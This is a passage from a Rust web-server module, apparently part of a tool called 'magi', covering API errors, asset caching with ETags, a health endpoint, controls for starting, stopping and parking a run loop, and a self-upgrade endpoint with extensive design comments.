1750            message: message.into(),
1751        }
1752    }
1753
1754    /// Someone else owns the thing the client wants to change.
1755    /// Re-badge an error whose default mapping is wrong for this route.
1756    fn with_status(mut self, status: StatusCode) -> Self {
1757        self.status = status;
1758        self
1759    }
1760
1761    /// A rules violation from a domain type, reported as the caller's fault.
1762    /// `Question::answer` rejects an unoffered choice, and that is a bad
1763    /// request, not a server error.
1764    fn bad_request_from(e: anyhow::Error) -> Self {
1765        Self::bad_request(format!("{e:#}"))
1766    }
1767
1768    fn conflict(message: impl Into<String>) -> Self {
1769        Self {
1770            status: StatusCode::CONFLICT,
1771            message: message.into(),
1772        }
1773    }
1774
1775    /// Our fault, or the disk's.
1776    fn internal(message: impl Into<String>) -> Self {
1777        Self {
1778            status: StatusCode::INTERNAL_SERVER_ERROR,
1779            message: message.into(),
1780        }
1781    }
1782}
1783
1784impl From<anyhow::Error> for ApiError {
1785    /// Errors from `queue` and `run` carry their context chain, and the whole
1786    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
1787    /// value at line 3" is a message an operator can act on, and there is no
1788    /// secret in a path on a single-user tailnet.
1789    fn from(e: anyhow::Error) -> Self {
1790        Self::internal(format!("{e:#}"))
1791    }
1792}
1793
1794impl IntoResponse for ApiError {
1795    fn into_response(self) -> Response {
1796        let body = serde_json::json!({ "error": self.message });
1797        (self.status, Json(body)).into_response()
1798    }
1799}
1800
1801/// Run a handler's filesystem work off the executor.
1802///
1803/// Every route that touches the disk goes through here rather than each one
1804/// arguing about whether its own read is small enough. Uniform because the
1805/// expensive case is not rare: `run.json` for a finished competition holds
1806/// every judgement, deliberation turn and review round, so listing a few
1807/// hundred runs is megabytes of parsing, and the executor threads doing it are
1808/// the same ones serving the change stream of every other connected phone.
1809async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1810where
1811    T: Send + 'static,
1812{
1813    match tokio::task::spawn_blocking(job).await {
1814        Ok(result) => result,
1815        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1816    }
1817}
1818
1819/// Cache policy for the three compiled-in front-end files.
1820///
1821/// The whole interface is `include_str!`ed into the binary, so its content
1822/// changes only when the binary does - and a phone that keeps a copy is
1823/// welcome to, right up until the deck is replaced. Without a single cache
1824/// header, browsers were free to invent their own policy, and one did:
1825/// yukimemi's phone went on showing "Candidates must be folded before
1826/// deleting. Run `magi fold` first." - a sentence deleted two releases
1827/// earlier - from a run detail served by a deck that no longer contained it.
1828/// The delete button he was told about was right there, and unreachable.
1829///
1830/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
1831/// every time, the answer is a 304 costing one small round trip while the
1832/// deck is unchanged, and the moment it is replaced the tag differs and the
1833/// new interface arrives. Correctness over bytes - this is one file of a few
1834/// tens of kilobytes on a tailnet, and being a version behind is not a
1835/// cosmetic problem when the difference is whether a button exists.
1836const ASSET_CACHE: &str = "no-cache, must-revalidate";
1837
1838/// `ETag` for the compiled-in assets, distinct per build.
1839///
1840/// The version alone would leave a locally built deck - `cargo install
1841/// --path .` twice at the same version, which is the normal way to iterate -
1842/// serving a stale tag for changed bytes. The build timestamp is what makes
1843/// two builds of `0.3.0` differ.
1844fn asset_etag() -> &'static str {
1845    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1846        format!(
1847            "\"{}-{}\"",
1848            env!("CARGO_PKG_VERSION"),
1849            // Length is a cheap, deterministic stand-in for a hash: the
1850            // three files are compiled in together, so any edit to any of
1851            // them almost certainly changes the total, and a rebuild is what
1852            // this needs to track rather than every possible byte pattern.
1853            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1854        )
1855    });
1856    &TAG
1857}
1858
1859/// Headers for a compiled-in asset of `mime`.
1860fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1861    [
1862        (header::CONTENT_TYPE, mime),
1863        (header::CACHE_CONTROL, ASSET_CACHE),
1864        (header::ETAG, asset_etag()),
1865    ]
1866}
1867
1868/// Serve a compiled-in asset, answering `304` when the client already has it.
1869///
1870/// axum does not compare `If-None-Match` for us, and a header the server sets
1871/// but never honours is worse than none: the phone revalidates on every load
1872/// and is handed the whole file back each time. Doing the comparison is what
1873/// makes `must-revalidate` cost one small round trip rather than the
1874/// interface.
1875fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1876    let tag = asset_etag();
1877    let known = headers
1878        .get(header::IF_NONE_MATCH)
1879        .and_then(|v| v.to_str().ok())
1880        // A revalidating client may send several, and a proxy may weaken the
1881        // tag to `W/"..."`; matching on containment covers both without
1882        // parsing the grammar.
1883        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1884    if known {
1885        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1886    }
1887    (asset_headers(mime), body).into_response()
1888}
1889
1890async fn index(headers: header::HeaderMap) -> Response {
1891    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1892}
1893
1894async fn app_css(headers: header::HeaderMap) -> Response {
1895    asset(&headers, "text/css; charset=utf-8", APP_CSS)
1896}
1897
1898async fn app_js(headers: header::HeaderMap) -> Response {
1899    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1900}
1901
1902/// What `/api/health` answers.
1903#[derive(Debug, Serialize)]
1904struct HealthView {
1905    version: &'static str,
1906    home: String,
1907    queue_rev: u64,
1908    runs_rev: u64,
1909    /// The same revisions [`events`] streams for the question and talk
1910    /// stores.
1911    ///
1912    /// Here because this route is what the front end falls back to when the
1913    /// change stream is not up - it re-polls health on a timer and on wake, and
1914    /// takes the revisions from the answer. Without these the fallback
1915    /// compares `undefined` against `undefined` for both stores, decides
1916    /// nothing moved, and a phone with a dead stream never learns that a
1917    /// question was asked or that a talk took a turn. `queue_rev` and
1918    /// `runs_rev` above have always been here for exactly this reason; the rule
1919    /// is that every revision the stream carries, this route carries too.
1920    questions_rev: u64,
1921    /// See [`HealthView::questions_rev`]. The standing chat's own store.
1922    talks_rev: u64,
1923    /// See [`HealthView::questions_rev`]. The notification centre's store.
1924    notifications_rev: u64,
1925    /// Notifications nobody has read yet: the bell's badge before
1926    /// `/api/notifications` has answered.
1927    notifications_unread: usize,
1928    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
1929    /// is not on disk anywhere, so a phone with no change stream has no other
1930    /// way to notice that the loop it is waiting on was started from another
1931    /// device.
1932    loop_rev: u64,
1933    /// Runs on disk whose state this build cannot parse - almost always a
1934    /// schema bump, occasionally a run killed mid-write.
1935    ///
1936    /// Reported because the list silently skips them, and "no competitions
1937    /// yet" is a lie when six of them are sitting in the runs directory. The
1938    /// terminal deck learned the same lesson: a run that fails to parse must
1939    /// not disappear from the count.
1940    runs_unreadable: usize,
1941    /// The disk, and what the runs and their worktrees occupy on it.
1942    ///
1943    /// This is the incident the janitor exists for: magi alone put 30 GB into
1944    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
1945    /// is exactly where the operator learns "the disk is the constraint" -
1946    /// the diagnosis that a run is being held for want of space has to be
1947    /// checkable on the same screen.
1948    disk: DiskView,
1949    /// Questions nobody has answered yet, including ones an owner talked
1950    /// back on and is now waiting for the agent's reply to. A round trip
1951    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
1952    /// while the ball is in the agent's court - see
1953    /// [`crate::ask::Questions::count_open`].
1954    questions_open: usize,
1955    /// Of those, how many actually need the owner right now: open, and not
1956    /// [`crate::ask::Question::waiting_on_agent`].
1957    ///
1958    /// The one number that means "nothing will happen until a human acts" -
1959    /// a parked run consumes nothing and progresses never - and the count the
1960    /// ask bar, the nav badge and the document title fall back to before
1961    /// `/api/questions` has answered, so those notification channels clear
1962    /// the instant the owner asks back and reappear the instant the agent
1963    /// replies, instead of sitting lit for however long the agent thinks.
1964    questions_needs_owner: usize,
1965    daemon: DaemonView,
1966    /// The loop in this process, exactly what `/api/loop` answers with.
1967    ///
1968    /// Here so a phone that has just woken needs one request to know whether
1969    /// anything is going to happen at all: `daemon` says a loop is alive
1970    /// somewhere, and this says whether it is one this UI can stop.
1971    #[serde(rename = "loop")]
1972    looping: LoopView,
1973    /// Whether a release newer than this build is known, and which.
1974    ///
1975    /// From [`updater::Checker::cached_update`] - the same throttled state the
1976    /// CLI's `notify` mode banners from - never a live check: this route is
1977    /// polled every few seconds, and a live check on each poll would spend
1978    /// GitHub's rate limit before the operator finished reading the strip.
1979    update: UpdateView,
1980    /// The self-upgrade this deck last set in motion, or `null` before the
1981    /// first one. Read off disk, so the successor can report what its
1982    /// predecessor started.
1983    upgrade: Option<UpgradeProgressView>,
1984}
1985
1986/// What `/api/health` knows about a release newer than this build.
1987///
1988/// A plain `Option<String>` for `to` could not distinguish "checked, and this
1989/// is already the newest" from "never checked" - both are `None` - and the
1990/// phone needs to tell those apart to decide whether the deck can be trusted
1991/// to have an opinion at all.
1992#[derive(Debug, Serialize)]
1993struct UpdateView {
1994    /// A newer release is known to exist.
1995    available: bool,
1996    /// Its tag, when `available`.
1997    to: Option<String>,
1998}
1999
2000/// [`updater::Progress`] as `/api/health` reports it.
2001#[derive(Debug, Serialize)]
2002struct UpgradeProgressView {
2003    stage: updater::Stage,
2004    from: String,
2005    to: Option<String>,
2006    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
2007    /// the step it is finishing before the address is handed over.
2008    waiting_on: Option<String>,
2009    started_at: Timestamp,
2010    updated_at: Timestamp,
2011    detail: Option<String>,
2012    /// Seconds the stage has outlived its allowance, when it has - see
2013    /// [`updater::stall`]. `null` while the stage is moving normally.
2014    stuck_for_secs: Option<i64>,
2015    /// Which kind of stuck: `never_entered` (hand_over left no record of
2016    /// starting) or `stopped_beating`. `null` when not stuck.
2017    stuck_kind: Option<updater::StallKind>,
2018    /// `hand_over` is alive and waiting on the loop: however long that takes,
2019    /// it is not an overdue upgrade.
2020    handover_alive: bool,
2021}
2022
2023/// Whether [`run_update_recheck`] may act at all this tick.
2024///
2025/// The same two conditions [`updater::Checker::new`] and
2026/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
2027/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
2028/// GitHub from this process" - on a button press or on a timer alike.
2029fn should_spawn_recheck(cfg: &Update) -> bool {
2030    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2031}
2032
2033/// Whether this tick should actually reach the network, once checking itself
2034/// is allowed.
2035///
2036/// An upgrade already in flight must not be raced by a check that discovers
2037/// a *newer* release while one is still installing - a phone watching
2038/// `/api/health` would see the answer change out from under the upgrade it
2039/// already asked for. Past that, [`updater::Checker::should_check`] is the
2040/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
2041/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
2042/// polling period, is what keeps this task's network use to at most once per
2043/// `[update] interval` regardless of how often it wakes up.
2044fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2045    if progress.is_some_and(|p| !p.stage.terminal()) {
2046        return false;
2047    }
2048    checker.should_check()
2049}
2050
2051/// How long [`run_update_recheck`] sleeps before its next wake-up.
2052///
2053/// A fraction of the configured `[update] interval` rather than a fixed
2054/// number: a fixed sleep longer than a short custom interval would leave the
2055/// deck waiting on its own wake-up rather than on `should_check`, so an
2056/// operator who set `interval = "1m"` to make the UI catch up quickly would
2057/// not see that take effect until the next restart - exactly the bug this
2058/// task exists to fix, just moved one level down. Scaling with the interval
2059/// keeps the wake-up prompt relative to what was actually configured, while
2060/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
2061/// still what caps the network calls themselves at one per interval,
2062/// regardless of how often this fires.
2063fn recheck_poll_period(cfg: &Update) -> Duration {
2064    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2065}
2066
2067/// Keep `/api/health`'s `update` field current for as long as `magi web`
2068/// stays up.
2069///
2070/// The CLI's own `spawn_update_check` (`main.rs`) runs once per invocation,
2071/// which is enough for every other command: they exit in seconds. `magi web`
2072/// can run for days, so a single startup check leaves the cache - and the
2073/// phone's "Update & restart" button, which reads it via
2074/// [`cached_update_view`] - frozen on whatever that one look found, however
2075/// many releases ship afterwards. This is what notices the rest of them,
2076/// re-reading the config each tick so a `magi.toml` edit while the server is
2077/// up takes effect without a restart, the same way every other route here
2078/// already does - both for whether checking is on at all and for how long
2079/// the next sleep should be.
2080///
2081/// Not [`updater::spawn`]'s `auto_update` path, even under `mode =
2082/// "install"`: swapping the running binary out from under a task or a run
2083/// mid-node is exactly what `hand_over`'s parking exists to do deliberately,
2084/// not as a side effect of a timer nobody asked to fire. This only ever
2085/// calls [`updater::Checker::newer_release`], which refreshes
2086/// `last_update_check.json` and nothing else - so under `mode = "install"`
2087/// this behaves like `notify` for as long as the deck stays up, and an
2088/// actual self-install still happens exactly where it always has: once, at
2089/// the next process start.
2090async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2091    loop {
2092        let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2093        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2094        if !should_spawn_recheck(&cfg.update) {
2095            continue;
2096        }
2097        let Some(checker) = updater::Checker::new(&cfg.update) else {
2098            continue;
2099        };
2100        let progress = updater::read_progress(&home);
2101        if !update_recheck_due(&checker, progress.as_ref()) {
2102            continue;
2103        }
2104        if let Err(e) = checker.newer_release().await {
2105            tracing::warn!("background update recheck failed: {e:#}");
2106        }
2107    }
2108}
2109
2110/// [`UpdateView`] from the same throttled, disk-only state
2111/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
2112/// never a live check. `[update] mode = "off"` answers "unknown" the same as
2113/// no cached state at all, which is correct: an operator who turned checking
2114/// off gets no opinion, not a stale one.
2115fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2116    let default;
2117    let cfg = match cfg {
2118        Some(cfg) => cfg,
2119        None => {
2120            default = Config::default();
2121            &default
2122        }
2123    };
2124    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2125    match latest {
2126        Some(latest) => UpdateView {
2127            available: true,
2128            to: Some(latest.tag_name),
2129        },
2130        None => UpdateView {
2131            available: false,
2132            to: None,
2133        },
2134    }
2135}
2136
2137/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
2138/// from the parked run's own state when the stage is
2139/// [`updater::Stage::Parking`] - the run and the node it is finishing are
2140/// already on disk in `run.json`, so this reads them fresh rather than
2141/// trusting whatever was true the moment the park was requested.
2142fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2143    let now = Timestamp::now();
2144    let lease = updater::read_lease(&ui.home);
2145    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2146    let run_id = alive
2147        .and_then(|l| l.parked_run.as_deref())
2148        .or(progress.parked_run.as_deref());
2149    let parking = progress.stage == updater::Stage::Parking;
2150    let waited = alive.map_or_else(String::new, |l| {
2151        let secs = updater::waited_secs(l, now);
2152        format!(" (waited {} min so far)", secs / 60)
2153    });
2154    let run_text = run_id
2155        .filter(|_| parking)
2156        .map(|id| match read_run(&ui.runs, id).ok() {
2157            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2158            None => format!("run {id} is finishing"),
2159        });
2160    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2161        .filter(|t| parking && !t.is_empty())
2162        .map(|t| format!("{t} finishing"));
2163    let waiting_on = match (run_text, talks_text) {
2164        (None, None) => None,
2165        (run, talks) => {
2166            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2167            Some(format!(
2168                "{} before the address is handed over{waited}",
2169                parts.join(" and ")
2170            ))
2171        }
2172    };
2173    let detail = progress
2174        .detail
2175        .clone()
2176        .or_else(|| updater::read_note(&ui.home, &progress));
2177    let stalled = updater::stall(&progress, lease.as_ref(), now);
2178    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2179    UpgradeProgressView {
2180        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2181        stuck_kind: stalled.map(|s| s.kind),
2182        handover_alive: alive.is_some(),
2183        stage: progress.stage,
2184        from: progress.from,
2185        to: progress.to,
2186        waiting_on,
2187        started_at: progress.started_at,
2188        updated_at: progress.updated_at,
2189        detail,
2190    }
2191}
2192
2193/// The disk figures `/api/health` carries. Every number is produced by
2194/// [`crate::disk`], the same code that decides a run may not start, so the
2195/// health screen and the gate cannot disagree about what the machine looks
2196/// like.
2197#[derive(Debug, Serialize)]
2198struct DiskView {
2199    /// Free bytes on the volume holding the runs, when measurable.
2200    #[serde(skip_serializing_if = "Option::is_none")]
2201    free_bytes: Option<u64>,
2202    /// Everything the runs directory occupies, unreadable runs included.
2203    runs_bytes: u64,
2204    /// Everything the runs' worktrees occupy.
2205    worktrees_bytes: u64,
2206    /// The shared build cache's size, when the config names one.
2207    #[serde(skip_serializing_if = "Option::is_none")]
2208    cache_bytes: Option<u64>,
2209}
2210
2211impl DiskView {
2212    /// Measure the three directories and re-read the config's cache.
2213    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2214        let cache_bytes = cfg
2215            .and_then(|cfg| cfg.cache_dir())
2216            .map(|dir| crate::disk::dir_size(&dir));
2217        Self {
2218            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2219            runs_bytes: crate::disk::dir_size(&ui.runs),
2220            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2221            cache_bytes,
2222        }
2223    }
2224}
2225
2226/// The daemon's state as the UI presents it.
2227#[derive(Debug, Serialize)]
2228struct DaemonView {
2229    running: bool,
2230    idle: Option<bool>,
2231    pid: Option<u32>,
2232    /// Every task and run currently in flight. Empty when idle; more than
2233    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
2234    /// run going at once.
2235    current: Vec<daemon::Current>,
2236    completed: Option<u64>,
2237    stale_for_secs: Option<i64>,
2238}
2239
2240impl DaemonView {
2241    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
2242    /// not this UI's — a crashed daemon must not look alive here while
2243    /// `doctor` calls it dead.
2244    fn of(status: Option<daemon::Reading>) -> Self {
2245        let Some(status) = status else {
2246            return Self {
2247                running: false,
2248                idle: None,
2249                pid: None,
2250                current: Vec::new(),
2251                completed: None,
2252                stale_for_secs: None,
2253            };
2254        };
2255        let now = Timestamp::now();
2256        let age = status.age_secs(now);
2257        Self {
2258            running: status.running(now),
2259            idle: Some(status.idle),
2260            pid: status.pid,
2261            current: status.current,
2262            completed: Some(status.completed),
2263            stale_for_secs: age,
2264        }
2265    }
2266}
2267
2268async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2269    blocking(move || {
2270        // One read of the status file for the two fields that describe it, so
2271        // `daemon` and `loop` in the same answer cannot disagree about who is
2272        // running the loop.
2273        let reading = daemon::read_status(&ui.home);
2274        // Read on its own line, not inside the literal below: the loop's lock
2275        // is not reentrant, and a guard taken as a temporary there would still
2276        // be held when `loop_view` took it again.
2277        let loop_rev = ui.lock_loop().rev;
2278        // One discover for both views: each is a few git processes plus a
2279        // config render, and neither depends on anything the other reads.
2280        let cfg = deputy_config(&ui.repo);
2281        let update = cached_update_view(cfg.as_ref());
2282        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2283        Ok(Json(HealthView {
2284            version: env!("CARGO_PKG_VERSION"),
2285            home: ui.home.display().to_string(),
2286            queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2287            runs_rev: runs_revision(&ui.runs),
2288            questions_rev: ui.questions.revision(),
2289            talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2290            notifications_rev: ui.notices.revision(),
2291            notifications_unread: ui.notices.count_unread(),
2292            loop_rev,
2293            runs_unreadable: runs_unreadable(&ui.runs),
2294            questions_open: ui.questions.count_open(),
2295            questions_needs_owner: ui.questions.count_needs_owner(),
2296            daemon: DaemonView::of(reading.clone()),
2297            looping: ui.loop_view(reading),
2298            disk: DiskView::of(&ui, cfg.as_ref()),
2299            update,
2300            upgrade,
2301        }))
2302    })
2303    .await
2304}
2305
2306/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
2307#[derive(Debug, Serialize)]
2308struct LoopView {
2309    /// A loop is running in *this* process.
2310    running: bool,
2311    /// It has been asked to stop and is still finishing a run.
2312    ///
2313    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
2314    /// because the two differ exactly where it matters: a loop asked to stop
2315    /// while idle is gone within one poll interval, and one asked to stop
2316    /// mid-run keeps going for as long as the graph takes. The operator needs
2317    /// to be told which of those they are waiting for.
2318    stopping: bool,
2319    /// A park was asked for: the run in flight stops at its next node
2320    /// boundary rather than finishing.
2321    ///
2322    /// Separate from `stopping` because the two promise different waits. A
2323    /// stop is "when this competition ends", which can be an hour; a park is
2324    /// "after the step it is on", which is minutes and is what an operator
2325    /// waiting to replace the binary needs to see.
2326    parking: bool,
2327    /// The loop is this process's own.
2328    ///
2329    /// Spelled separately from `running` for the front end's sake, even
2330    /// though inside this process the two move together: `running: false`
2331    /// with `daemon.running: true` is the case where the operator's own `magi
2332    /// serve` owns the loop, and `owned` is the field that tells the UI its
2333    /// buttons have to explain that rather than pretend.
2334    owned: bool,
2335    /// Repository the loop uses for tasks that name none - what it was
2336    /// started with while it runs, and what a start would use before that.
2337    repo: String,
2338    /// Merge mode override in force, or `null` when each repository's own
2339    /// config decides.
2340    merge: Option<String>,
2341    /// Why the last loop in this process ended, when it ended badly.
2342    ///
2343    /// The only place a crashed loop is visible to someone holding a phone.
2344    /// It is logged at error level as well, but a terminal nobody kept open
2345    /// is not a report, and a loop that died at 3am must not read as merely
2346    /// stopped in the morning. Named as [`Task::last_error`] is, because it
2347    /// answers the same question about the same kind of failure.
2348    last_error: Option<String>,
2349    /// The status file, judged the same way `/api/health` judges it: this is
2350    /// what says whether a loop is alive in some *other* process.
2351    daemon: DaemonView,
2352}
2353
2354/// A loop another process already owns.
2355///
2356/// `<home>/daemon.json` is the only cross-process signal there is, so this is
2357/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
2358/// published by a pid that is not ours. Excluding our own pid is what makes
2359/// stopping work at all - the loop this process runs writes that file too, so
2360/// a check that ignored the pid would decide the operator's own UI was a
2361/// stranger and refuse to stop the loop it had just started.
2362#[derive(Debug, Clone, Copy)]
2363struct Foreign {
2364    /// The pid the other process published, when it published one.
2365    pid: Option<u32>,
2366}
2367
2368impl Foreign {
2369    /// Another process's live loop, or `None` when this process is free to
2370    /// run one.
2371    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2372        // A fresh heartbeat with no pid in it is still evidence of a live
2373        // daemon. "Some other process" is the honest answer, and refusing
2374        // to start beside it is the safe one.
2375        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2376    }
2377
2378    /// How a conflict names it. The pid is the whole point of the message: it
2379    /// is what the operator needs to find the terminal that owns the loop.
2380    fn who(&self) -> String {
2381        match self.pid {
2382            Some(pid) => format!("another magi process (pid {pid})"),
2383            None => "another magi process".to_owned(),
2384        }
2385    }
2386}
2387
2388/// How a loop is started, as a future this module can hold onto.
2389///
2390/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
2391/// trait object or a hand-written `Debug` impl for the sake of one seam.
2392type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2393
2394/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
2395fn launch_daemon(
2396    opts: daemon::Opts,
2397    stop: daemon::Stop,
2398) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2399    Box::pin(daemon::serve_until(opts, stop))
2400}
2401
2402/// The loop this process runs, behind one lock.
2403#[derive(Debug, Default)]
2404struct LoopState {
2405    /// The loop, while there is one.
2406    live: Option<Live>,
2407    /// Bumped on every change to this struct, and streamed as `loop_rev`.
2408    ///
2409    /// The loop is in-process state rather than a file, so nothing on disk
2410    /// would tell a second phone that the first one started it. Without this
2411    /// counter the only way to learn about a start, a stop request or a crash
2412    /// would be to poll `/api/loop`, which is the thing the change stream
2413    /// exists to avoid on a mobile link.
2414    rev: u64,
2415    /// Why the last loop ended, when it ended badly. See
2416    /// [`LoopView::last_error`].
2417    last_error: Option<String>,
2418    /// The loop was running (and not already stopping) when the last upgrade
2419    /// parked it, so the successor should start one. Set afresh by every
2420    /// [`Ui::park_for_upgrade`], cleared by an explicit stop and by a failed
2421    /// update.
2422    resume_after_handover: bool,
2423}
2424
2425/// A loop in flight.
2426#[derive(Debug)]
2427struct Live {
2428    /// The cooperative stop, shared with the loop task.
2429    stop: daemon::Stop,
2430    /// The task itself, kept only to answer whether it is still there: a loop
2431    /// that panicked never records its own end, and without this the view
2432    /// would go on reporting a loop that no longer exists - the one lie that
2433    /// would leave the operator with no button to press.
2434    handle: tokio::task::JoinHandle<()>,
2435    /// What the loop was started with, so the view reports the repository and
2436    /// merge mode its runs will actually use rather than what an edit to the
2437    /// config since would give.
2438    opts: daemon::Opts,
2439}
2440
2441impl Live {
2442    /// Is the task still there? See [`Live::handle`].
2443    fn alive(&self) -> bool {
2444        !self.handle.is_finished()
2445    }
2446}
2447
2448/// Take the loop lock, recovering from a poisoned one.
2449///
2450/// What this mutex holds is a stop flag, a task handle and two counters, none
2451/// of which a panic elsewhere can leave in a state worth refusing to read.
2452/// Propagating the poison instead would mean an operator who can see the loop
2453/// running and can no longer stop it from the only surface they have.
2454fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2455    state.lock().unwrap_or_else(PoisonError::into_inner)
2456}
2457
2458/// `GET /api/loop`.
2459async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2460    blocking(move || {
2461        let reading = daemon::read_status(&ui.home);
2462        Ok(Json(ui.loop_view(reading)))
2463    })
2464    .await
2465}
2466
2467/// The body of `POST /api/loop`.
2468///
2469/// One required field and nothing else: no `default` and no unknown fields,
2470/// so a body that fails to say which way the switch was flipped is a 400
2471/// rather than a tap that quietly does the opposite of what was pressed.
2472#[derive(Debug, Deserialize)]
2473#[serde(deny_unknown_fields)]
2474struct LoopCommand {
2475    running: bool,
2476    /// Stop the run in flight at its next node boundary rather than letting it
2477    /// finish.
2478    ///
2479    /// Defaults to false, so the plain stop keeps meaning what it meant: a
2480    /// competition is tens of minutes of paid work and finishing it is
2481    /// normally the cheapest thing to do. A park is for the operator who
2482    /// wants the process gone now - to replace the binary, most of all - and
2483    /// it costs at most the node in progress because every node writes its
2484    /// state before the next one starts.
2485    #[serde(default)]
2486    park: bool,
2487}
2488
2489/// `POST /api/loop` - start the loop in this process, or ask it to stop.
2490///
2491/// Answers with the view rather than waiting for the loop to reach the state
2492/// that was asked for. Starting is immediate anyway; stopping is not, and the
2493/// wait is a run's worth of minutes, which is not a thing to hold a phone's
2494/// request open for. `stopping` in the answer is what the operator watches
2495/// instead.
2496async fn loop_post(
2497    State(ui): State<Arc<Ui>>,
2498    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2499) -> ApiResult<Json<LoopView>> {
2500    // Taken as a `Result` so a malformed body is a 400 like every other route
2501    // here, rather than axum's default 422 that the UI has no branch for.
2502    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2503    blocking(move || {
2504        let reading = daemon::read_status(&ui.home);
2505        let foreign = Foreign::of(reading.as_ref());
2506        if body.running {
2507            ui.start_loop(foreign)?;
2508        } else {
2509            ui.stop_loop(foreign, body.park)?;
2510        }
2511        Ok(Json(ui.loop_view(reading)))
2512    })
2513    .await
2514}
2515
2516/// What `POST /api/upgrade` set in motion.
2517#[derive(Debug, Serialize)]
2518struct UpgradeView {
2519    /// The version this process is running.
2520    from: String,
2521    /// The release it is replacing itself with, when there is one.
2522    to: Option<String>,
2523    /// A run was parked first, and this is its id.
2524    parked: Option<String>,
2525    /// What the operator should expect to happen next.
2526    detail: String,
2527}
2528
2529/// The stage of an upgrade that is still moving, if the record says so.
2530/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
2531fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2532    progress.filter(|p| !p.stage.terminal())
2533}
2534
2535/// `POST /api/upgrade` - replace this binary with the newest release and come
2536/// back on it.
2537///
2538/// The one thing the deck could not do for itself. Every fix landed today
2539/// either waited for a competition to end or went in with the deck stopped,
2540/// because `cargo install` cannot overwrite a running executable on Windows.
2541/// `kaishin` can: `self_replace` **renames** the running image aside and puts
2542/// the new one in its place, so the swap itself needs no downtime. Only the
2543/// restart does, and the order is the whole design:
2544///
2545/// 1. **Park.** A run in flight stops at its next node boundary and stays
2546///    resumable, so this costs at most the node in progress rather than the
2547///    competition. Without it the honest choices were waiting an hour or
2548///    discarding paid agent work.
2549/// 2. **Replace.** The new binary goes into place while this one still runs.
2550/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
2551///    successor - see [`spawn_successor`] for what happens in the other
2552///    order.
2553/// 4. **Resume.** The next loop carries the parked run on rather than
2554///    competing again; see `daemon::attempt`.
2555///
2556/// Answers **202**: the reply has to reach the phone while this process can
2557/// still send one, and the phone learns the deck is back by reconnecting.
2558async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2559    let reading = daemon::read_status(&ui.home);
2560    if let Some(other) = Foreign::of(reading.as_ref()) {
2561        return Err(ApiError::conflict(format!(
2562            "the loop belongs to {}, so replacing this binary would leave \
2563             that process running an old one against the same queue. Upgrade \
2564             where it was started.",
2565            other.who()
2566        )));
2567    }
2568
